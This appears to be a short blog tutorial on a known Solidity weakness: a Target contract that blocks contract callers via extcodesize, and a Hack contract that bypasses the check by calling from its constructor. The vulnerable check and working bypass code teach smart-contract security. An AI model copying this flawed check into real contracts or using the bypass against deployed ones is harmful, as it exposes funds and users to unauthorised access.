Solidity Attack Vectors #3 - Contract With Zero Code Size

Solidity Attack Vectors #3 - Contract With Zero Code Size

Table of contents

No heading

No headings in the article.

In Ethereum, accounts can either be Externally Owned Account, (EOA) or Contract Account. A developer may decide to allow only Externally Owned Addresses (EOA) to interact with his contract, then the developer can add a check via extcodesize, which returns a value greater than 0, then the log will print no contract allowed. We are going to bypass this check.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract Target {
    function isContract(address account) public view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    bool public pwned = false;

    function protected() external {
        require(!isContract(msg.sender), "no contract allowed");
        pwned = true;
    }
}

The contract below contains a function called pwn. When executed with the target address, the function fails. The target address will detect that this contract contains code that caused the call to fail.

contract FailedAttack {
    // Attempting to call Target.protected will fail,
    // Target block calls from contract
    function pwn(address _target) external {
        // This will fail
        Target(_target).protected();
    }
}

We can bypass this check by defining and calling the protected function of the Target contract as part of our malicious contract. The target contract is called in the constructor. The code size(extcodesize) of our contract is currently 0 the contract is under creation and hasn't been deployed.

contract Hack {
    bool public isContract;
    address public addr;

    // When contract is being created, code size (extcodesize) is 0.
    // This will bypass the isContract() check
    constructor(address _target) {
        isContract = Target(_target).isContract(address(this));
        addr = address(this);
        // This will work
        Target(_target).protected();
    }
}

Feel free to connect with me on LinkedIn and Twitter.